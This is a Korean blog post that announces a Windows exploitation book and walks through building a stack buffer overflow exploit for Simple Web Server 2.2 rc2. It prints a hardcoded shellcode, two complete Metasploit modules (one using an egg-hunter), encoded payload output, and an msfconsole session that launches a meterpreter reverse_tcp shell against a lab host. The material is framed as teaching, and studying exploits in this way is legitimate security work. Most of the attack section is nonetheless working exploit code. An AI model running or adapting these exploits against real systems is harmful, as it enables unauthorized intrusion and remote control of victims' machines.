익스플로잇


까페에는 소식을 자주 올렸었는데...블로그에도 공개할 때가 된 듯 하다.


시스템 해킹이 진입 장벽이 높다고 느껴서(실제론 그렇게 높지 않지만)  공부해볼 시도조차 못했던 경우가 많았을 것이다.


혹은, 기초적인 시스템 해킹 공부는 했으나 중급 이상으로 넘어가기 위해 어떤 공부를 해야 할지 가이드가 부족한


경우도 있었을 것이다. 이러한 연유로, 시스템 해킹 초-중급자를 위한 집필을 마음먹고 시작한지 어언 1년..


드디어 윈도우 시스템 해킹 서적이 드디어 인쇄작업에 들어갔다!!







=================================================================================================

I. 개요
1. PC내부구조
1.1 컴퓨어의 언어
1.2 CPU와 레지스터
1.3 메모리구조
1.4 스택과 힙
1.5 함수 호출과 리턴
2. 어셈블리어 기본
2.1 어셈블리어 기초
2.2 어셈블리어 실습
3. 디스어셈블러와 디버거
3.1 디스어셈블러
3.2 디버거
4. 윈도우 실행파일 구조
4.1 PE파일 
4.2 DOS Header 
4.3 PE Header
4.4 Image Optional Header
4.5 Section Header
 
II. 취약점과 공격
1. 소프트웨어 취약점
1.1 취약점
1.2 취약점의 발견과 패치
2. 취약점분류
2.1 Memory Corruption 취약점분류
3. Exploit 분류
3.1 파일포맷 Exploit 
3.2 리모트(원격) Exploit
 
III. 쉘코드 원리와 작성
1. 쉘코드작성
2. 널바이트 제거
3. Universial 쉘코드
4. 포트바인딩쉘코드작성
5. 리버스 쉘코드작성
6. 쉘코드 인코딩
 
IV. Exploit 작성
1. 스택버퍼오버플로우 Exploit
1.1 Direct EIP Overwrite
1.2 Trampoline
1.3 SEH Overwrite
2. 힙 버퍼오버플로우 Exploit
2.1 함수포인터 Overwrite
2.2 Vtable Overwrite
3. 정수오버플로우 Exploit
3.1. 정수 오버플로우
3.2. 정수 오버플로우 Exploit 
4. Use-After-Free Exploit
4.1. Use-After-Free
4.2. HeapSpray
4.3. Use-After-Free Exploit
5. Exploit 작성 자동화
5.1 Metasploit 모듈 작성
5.2 mona 를 이용한 Exploit 작성
 
V. 방어와 우회기법
1. SafeSEH 기법
1.1 SafeSEH
1.2. Non SafeSEH 모듈 이용
1.3. 모듈이 로드되지 않은 메모리 영역 이용 
2. DEP 기법
2.1. DEP
2.2. RTL
2.3. Chaining RTL
2.4. ROP
2.5. ROP 자동화
3. ASLR 기법
3.1. ASLR 소개
3.2. BruteForce
3.3. Non ASLR 모듈 우회
3.4. 부분 Overwrite 
3.5. Info Leak
 
VI. 버그헌팅
1. 기본방법론
1.1 블랙박스 VS 화이트박스
1.2 버그 식별 및 평가
2. 소스코드 분석
2.1 소스코드 리뷰
2.2 소스코드 점검툴
3. 퍼징(Fuzzing)
3.1 Dumb 퍼징
3.2 Smart 퍼징
3.3 파일 퍼저 구현
4. 리버싱(Reversing)
4.1 고급 디버깅 기술
4.2 리버싱을 이용한 버그 헌팅
4.3 바이너리 디핑


=============================================================================
  내용 발췌
=============================================================================

# 바이너리 디핑을 이용한 버그헌팅














# IDA Python 을 이용한 취약점 분석 자동화





# 파일 포맷  퍼징 툴 구현




# 소스코드 오디팅




# Universal 쉘코드












# Bug Hunting (1) - Exploitable 취약점 분류



취약점에는 다양한 종류가 있다. 


똑같은 crash 가 발생하더라도, 해당 버그는 Exploit 할수도, 불가능 할수도 있다. 


여기서 Exploit 이라 함은 코드 실행 흐름을 변경하여 원하는 코드를 실행할 수 있는, 즉 Code Execution 이 가능한가이다.


간단한 설명과 함께 분류해 보았다.





1. Memory Corruption


 - 대표적인 Exploit 유형으로, 주로 잘못된 함수 사용 등에 의해 발생




 1.1. Stack Buffer Overflow

  

    - 스택상의 메모리 영역을 침범하여 덮어쓰는 유형의 버그


    - 공격기법 : Direct EIP Overwrite, SEH Overwrite, ECX one byte Overflow, RTL(Return To Library), Fake EBP, Fake ESP, ROP


    - 방어기법 : Stack Guard, Stack Cookie, DEP/NX, ASLR



 1.2. Heap Buffer Overflow


    - 힙 메모리 영역을 침범하여 덮어쓰는 유형의 버그


    - 공격기법 : VFT Overwrite(Virtual Function Table Overwrite), Function Pointer Overwrite




 1.3. Format String Bug


    - 포맷 스트링을 사용하지 않은 잘못된 함수 사용으로 인하여 %n 등으로 특정 주소값을 덮어씌우는 공격기법


    - 공격기법 : dtors Ovewrite, Got Overwrite, RET Overwrite 




 1.4. Use-After-Free


    - Free 로 해제된 객체, 포인터를 사용하는 경우 발생하는 버그로, 최근 많이 발견되는 유형 중 한가지이다.(특히 웹브라우저)

   

    - 공격기법 : Heap Spray -> 정밀 Heap Spray, DEPS(엘리멘탈 속성 spray), JIT Spray 등



 1.5. Double Free


    - free() 로 이미 해제된 메모리를 한번 더 해제하려 할때 발생하는 버그




 1.6. Integer Overflow


    - 자료형마다의 경계값(최대,최소값) 차이점 등에 의해 발생하는 버그













이번 주제는 Metasploit 을 활용하여 exploit 을 제작하는 것입니다.


exploit 을 제작할 때 물론 perl, python, ruby 등의 스크립트 언어도 많이 이용하지만, 실용성을 높이려면 exploit 


framework 인 metasploit 을 이용하여 제작하는 것이 좋습니다. metasploit 은 무료임에도 불구하고(물론 유료 버전도 


존재합니다만, GUI 일 뿐 그다지 크게 좋은지는 모르겠습니다.) 기본적인 exploit 골격을 제공할 뿐 아니라 공격 후의 


payload , encoder 등의 다양한 도구까지 제공해 줍니다. 즉, 사용자는 그저 발견한 취약점에 특화된 부분(offset 등) 


만을 추가하면 됩니다. 


=========================================================================================================



이번에 사용될 프로그램은 나름 최근(2012-07-19, http://www.exploit-db.com/exploits/19937/)에 발표한 Simple 


Web Server 2.2 rc2 이다. 이 프로그램은 HTTP Protocol 을 파싱하는 과정에서 Connection: 헤더를 읽어올 때 전형


적인 BOF 가 발생한다.



# simple web server 2.2-rc2 버전


해당 프로그램은 아래와 같이 웹서버의 역할을 하도록 해주는 어플리케이션이며, 간단히 접속 테스트를 해보았다.







# 공개된 취약점을 이용한 exploit 코드 제작


crash 가 발생하는 offset 이 2048 인 것만 알면 그다지 어려울 것은 없다. 단순히 junk 를 채우고 eip 를 덮어 씌운 뒤 


쉘코드를 입력하면 된다. 쉘코드가 긴 것을 별로 좋아하지 않아 메타스플로잇이 생성해준 것 대신 개인적으로 만든 쉘


코드를 사용한다. 실행만 되면 되잖아 :) 

 

 

# 45 바이트 쉘코드 ( 한글 xp sp3 에서만 동작함. 함수주소가 하드코딩 되어 있으므로 )

"\x55\x8b\xec\x83\xec\x44\x33\xc9\x88\x4d\xff\xc6\x45\xfc\x63"

"\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8"

"\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0"







# 해당 공격코드를 실행하여 대상PC에 쉘코드가 실행됨을 확인



공격 코드 실행하면 위와 같이 대상 PC 에서 쉘이 뜬다. 이제 exploit 코드를 작성했으니, 활용성을 높이기 위해 메타


스플로잇으로 포팅해보자. 메타스플로잇으로 코드를 작성해 두면 때에 따라 원하는 payload 를 실행할 수 있으며 매


번 프로그래밍을 다시 하는 단순 작업을 피할 수 있다.




# 메타스플로잇 모듈 작성


 - 모듈 위치 : /opt/framework/msf3/modules/   ( 아래와 같이 각 OS 별로 정리되어 있음 )

 - 모듈 언어 : ruby

 

 root@hyunmini:/opt/framework/msf3/modules/exploits# ls

aix  bsdi  dialup  freebsd  hpux  irix  linux  multi  netware  osx  solaris  unix  windows


새로운 모듈을 처음부터 작성하기 보단, 이미 완성된 수많은 훌륭한 익스플로잇을 복사하여 수정하자 ( -_- ㅋ)


몇 번 해보면 알겠지만 정해진 틀에 맞추어 offset, payload, header 등만을 수정해 주면 된다.


여기에선 windows/misc 내부의 익스플로잇을 하나 복사해서 썼다.



 require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote     // 리모트 익스플로잇 모듈 상속

Rank = GoodRanking                         // 익스플로잇의 신뢰도

include Msf::Exploit::Remote::Tcp       


def initialize(info = {})

super(update_info(info,

'Name'           => 'Simple Web Server stack overflow',     // 익스플로잇 모듈명

'Description'    => %q{

This module exploits a stack buffer overflow in the Simple Web Server.  // 설명

},

'Author'         => [ 'hyunmini' ],          // 제작자

'License'        => MSF_LICENSE,       // 라이센스

'Version'        => '$Revision: 7777 $' , // 버전 (자체적인 버전을 의미)

'References'     =>

[

[ 'URL', 'http://www.exploit-db.com/exploits/19937/'],   

                                 // 참고 URL 이나 취약점 분류코드 등

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',          // 기본 옵션값 세팅

},


'Privileged'     => true,

'Payload'        =>                // Payload 설정 (중요!!)

{

'Space'    => 1000,                    // payload 를 넣을 수 있는 공간 사이즈

'BadChars' => "\x00\x0a\x0d\x3a\x20",  // 포함되면 안되는 문자 ( 중요!! )

'StackAdjustment' => -3500,

},


'Platform'       => ['win'],

'Targets'        =>

[

[ 'Windows XP SP3 - KOR',     { 'Ret' => 0x77d256f7 } ],  // OS, 패치별 ret 주소 

],

'DisclosureDate' => 'Aug 28 2012',

'DefaultTarget' => 0))


register_options([Opt::RPORT(80)], self.class)      // exploit 옵션 추가 및 디폴드값 설정

end


def exploit   // 실제 exploit 명령 시 실행되는 함수 

connect


sploit = "\x41" *  2048

sploit << [target.ret].pack('V')    // payload 에서 설정한 ret 주소가 자동 설정됨

                sploit << payload.encode   // 인코딩된 쉘코드


res = "GET / HTTP/1.0\r\n"

res += "Connection:#{sploit}\r\n\r\n"


print_status("Sending Payload #{target.name}...")

sock.put(res)  // 패킷 전송

print_status("OK!! Exploitation Done !!")

handler   // metasploit 핸들러

disconnect

end

end





크게 어려운 것은 없다. 대부분 위와 같은 형식을 가지고 있으며 보면 알겠지만 ret 주소, 익스플로잇 공간 등 일부분만 


수정해주면 된다.



# payload 설정 부분

'Payload'        =>                // Payload 설정 (중요!!)

{

'Space'    => 1000,                    // payload 를 넣을 수 있는 공간 사이즈

'BadChars' => "\x00\x0a\x0d\x3a\x20",  // 포함되면 안되는 문자 ( 중요!! )

'StackAdjustment' => -3500,

}, 


Space 는 metasploit 을 이용하여 payload 를 지정할 때, 이용할 수 있는 최대한의 버퍼 크기이다. bof 의 경우 eip 를 


덮은 이후 jmp esp 등으로 쉘코드를 실행시킨다. 즉 버퍼이후 부터 쉘코드의 끝지점 정도가 payload 를 넣을 수 있는 


크기가 될 것이고, 생각보다 크지 않다. 일반적인 범용적인 쉘코드(자동 생성된)의 경우 3~500 바이트 정도의 크기이


다. 물론 직접 가지고 있는 쉘코드를 입력해서 사용하면 더 작은 공간만으로도 payload 구성이 가능하며, 이후에 알아


볼 테크닉인 egg hunting 이라는 기술을 통해 쓰레기값 대신 쉘코드를 버퍼 앞쪽에 넣고, egg(쉘코드 시작점을 알리


는 태그 정도로 보면 된다) 를 찾는 방법으로 더 넓은 공간을 확보할 수 있다.





그런데, 실행해보면 정상적으로 공격코드가 실행되지 않는 것을 볼 수 있다. wireshark 로 패킷을 잡아보면 분명히 패


킷은 전송이 되는데 실행이 되지 않는다. 이유는 위에서도 설명한 payload 문제이다. 



# 인코딩 된 쉘코드

 root@hyunmini # msfpayload windows/exec cmd=calc c | msfencode -e x86/alpha_mixed

[*] x86/alpha_mixed succeeded with size 1980 (iteration=1)


buf = 

"\x89\xe5\xdb\xd4\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49" +

"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +

"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +

"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +

"\x42\x75\x4a\x49\x66\x4f\x65\x7a\x56\x6a\x55\x70\



위와 같이 인코딩을 하게 되면 용량이 훌쩍 커진다. 물론 알고리즘에 따라 다르긴 하지만, 보통 500 정도는 된다. 00, 


0a 등의 badchar 때문에 인코딩을 안하면 payload 가 정상적으로 입력이 안될 수 있으므로 인코딩은 항상 해주는 것


이 좋다. 어쨋건 이런 부분 때문에 항상 space 가 충분한지 확인을 하고, 공간이 너무 적다면 egg-hunting 을 통해 버


퍼의 앞부분에 쉘코드를 입력할 공간을 마련하는 것이 좋다. egg-hunting에 대한 자세한 포스팅은 이후에 다시 할 예


정이니 우선 완성된 코드로 진행을 해 보겠다. 우선은 개념 정도만 알고 넘어가자.



# Egg-hunting 개념으로 쉘코드가 앞부분에 위치하는 payload 로 구성한 완성된 exploit


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp


def initialize(info = {})

super(update_info(info,

'Name'           => 'Simple Web Server stack overflow',

'Description'    => %q{

This module exploits a stack buffer overflow in the Simple Web Server.

},

'Author'         => [ 'hyunmini' ],

'License'        => MSF_LICENSE,

'Version'        => '$Revision: 7777 $',

'References'     =>

[

[ 'URL', 'http://www.exploit-db.com/exploits/19937/'],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},


'Privileged'     => true,

'Payload'        =>

{

'Space'    => 1000,

'BadChars' => "\x00\x0a\x0d\x3a\x20",

'StackAdjustment' => -3500,

},


'Platform'       => ['win'],

'Targets'        =>

[

[ 'Windows XP SP3 - KOR',     { 'Ret' => 0x77d256f7 } ],

],

'DisclosureDate' => 'Aug 28 2012',

'DefaultTarget' => 0))


register_options([Opt::RPORT(80)], self.class)

end


def exploit

connect


sploit = rand_text_alpha_upper( 2048 - "w00tw00t".length - (payload.encode).length )

sploit << "w00tw00t"   // egg (tag)

sploit << payload.encode

sploit << [target.ret].pack('V')

sploit <<            // egg-hunting code "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8w00t\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

res = "GET / HTTP/1.0\r\n"

res += "Connection:#{sploit}\r\n\r\n"


print_status("Sending Payload #{target.name}...")

sock.put(res)

print_status("OK!! Exploitation Done !!")

handler

disconnect

end

end


 



자 위의 코드로 다시 공격을 해보자.



root # msfconsole

          .....

          ....


msf > use exploit/windows/misc/hyunmini 

msf  exploit(hyunmini) > set rhost 192.168.48.3

rhost => 192.168.48.3

msf  exploit(hyunmini) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf  exploit(hyunmini) > set lport 7777

lport => 7777

msf  exploit(hyunmini) > show options 


Module options (exploit/windows/misc/hyunmini):


   Name   Current Setting  Required  Description

   ----   ---------------  --------  -----------

   RHOST  192.168.48.3     yes       The target address

   RPORT  80               yes       The target port



Payload options (windows/meterpreter/reverse_tcp):


   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none

   LHOST                      yes       The listen address

   LPORT     7777             yes       The listen port



Exploit target:


   Id  Name

   --  ----

   0   Windows XP SP3 - KOR



msf  exploit(hyunmini) > set lhost 192.168.48.128

lhost => 192.168.48.128

msf  exploit(hyunmini) > exploit







공격이 성공하고 쉘이 얻어진 것을 확인 할 수 있다. 


더이상의 설명은 생략한다 ( -_- !)




수고하셨습니다~ ㅎㅎ 


토닥토닥






+ Recent posts